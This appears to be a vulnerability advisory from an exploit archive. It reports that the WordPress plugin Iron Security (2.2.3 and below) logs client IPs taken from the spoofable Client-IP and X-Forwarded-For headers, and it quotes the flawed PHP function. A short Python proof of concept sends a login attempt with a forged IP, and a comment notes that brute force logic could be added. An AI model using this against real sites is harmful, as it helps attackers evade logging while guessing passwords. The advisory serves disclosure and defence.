Wordpress Plugin Iron Security - IP Spoofing

2025.03.25
Credit: bRpsd
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Wordpress Plugin Iron Security - IP Spoofing # Exploit Author: bRpsd | cy[at]live.no # Date: March 20, 2025 # Product: https://wordpress.org/plugins/iron-security/ # Version: 2.2.3 and below # CVE : N/A Summary: Iron Security is the ultimate WordPress security plugin built to secure and harden your website with essential protection features. Whether you’re a blogger, business owner, or developer, Iron Security helps keep your site safe from attacks and unauthorized access. with a user-friendly interface and effective tools like custom login URL, HTTP security headers, Iron Security is the all-in-one solution for WordPress security. The script logs successful/fail attempts of logins along with other actions made by users into a log table in database, within the logged data is the IP. However it uses a weak logic of grabbing IP making it easier to evade and not detect the original IP but rather a spoofed one. PHP function logic: ========================================================================================== private static function get_client_ip() { $ip = '0.0.0.0'; // Check for shared internet/ISP IP if (!empty($_SERVER['HTTP_CLIENT_IP']) && self::validate_ip($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } // Check for IPs passing through proxies elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { // Check if multiple IPs $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); foreach ($ips as $ip_address) { $ip_address = trim($ip_address); if (self::validate_ip($ip_address)) { $ip = $ip_address; break; } } } // Check for the remote address elseif (!empty($_SERVER['REMOTE_ADDR']) && self::validate_ip($_SERVER['REMOTE_ADDR'])) { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } ========================================================================================== Risk: The plugin retrieves client IP addresses from potentially untrusted headers such as X-Forwarded-For & Client-IP, allowing an attacker to manipulate its value. This may be used to hide the source of malicious traffic. Below is a simple example of a python code that does a failed login attempt with a spoofed IP that will get logged in database & system due to insufficient IP address validation and use of user-supplied HTTP headers as a primary method for IP retrieval. ======= POC ======= import requests # Target URL for login [can be other functions that get logged as well] url = "http://localhost/wordpress/wp-login.php" # Spoofed IP address spoofed_ip = "1.1.1.1" # In this example we used a failed login, in a real scenario a brute force logic can be here username = "test" password = "test" # Headers with spoofed IP headers = { "User-Agent": "Mozilla/5.0", "X-Forwarded-For": spoofed_ip, "Client-IP": spoofed_ip } # Login data data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } # Send the login request response = requests.post(url, headers=headers, data=data) # Check the response print("Status Code:", response.status_code)


Vote for this issue:
50%
50%

Comment it here.

Copyright 2025, cxsecurity.com

 

Back to Top